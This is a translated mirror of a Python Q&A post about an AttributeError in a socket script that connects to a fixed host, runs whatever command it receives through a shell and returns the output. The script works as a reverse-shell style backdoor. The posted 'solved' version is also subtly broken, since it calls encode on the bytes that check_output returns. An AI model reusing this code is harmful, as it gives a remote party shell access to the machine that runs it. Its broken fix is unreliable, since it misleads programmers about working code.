![](/img/trans.png)
[英]Python; urllib error: AttributeError: 'bytes' object has no attribute 'read'
[英]AttributeError: 'bytes' object has no attribute 'read' on Python Sockets Library
我正在嘗試使用 sockets 在我的另一台電腦上執行子進程。
import socket
import subprocess
def command_execution(command_exec):
return subprocess.check_output(command_exec, shell=True)
ip, port = "192.168.1.46", 8080
connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connection.connect((ip, port))
connection.send(b"Conncetion OK !\n")
command = connection.recv(1024)
copt = command_execution(command)
connection.send(copt)
connection.close()
出現此錯誤 --> nextchar = self.instream.read(1) AttributeError: 'bytes' object 沒有屬性 'read'
我對那個屬性錯誤感到不安。 我怎樣才能解決這個問題? 它無需子流程即可工作
解決了。
import socket
import subprocess
def command_execution(command):
return subprocess.check_output(command, shell=True)
ip, port = "192.168.1.46", 8080
connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connection.connect((ip, port))
connection.send(b"Conncetion OK !\n")
command = connection.recv(1024)
command_output = command_execution(command.decode("ascii"))
connection.send(command_output.encode('ascii'))
connection.close()
問題是,connection.recv() 以二進制形式獲取數據,但子進程需要字符串數據。 所以首先將 connection.rev() 解碼為字符串,將其傳遞給 subprocess_checkoutput function,然后將 output 轉換回二進制,這樣 connection.send() 就可以工作了。
聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.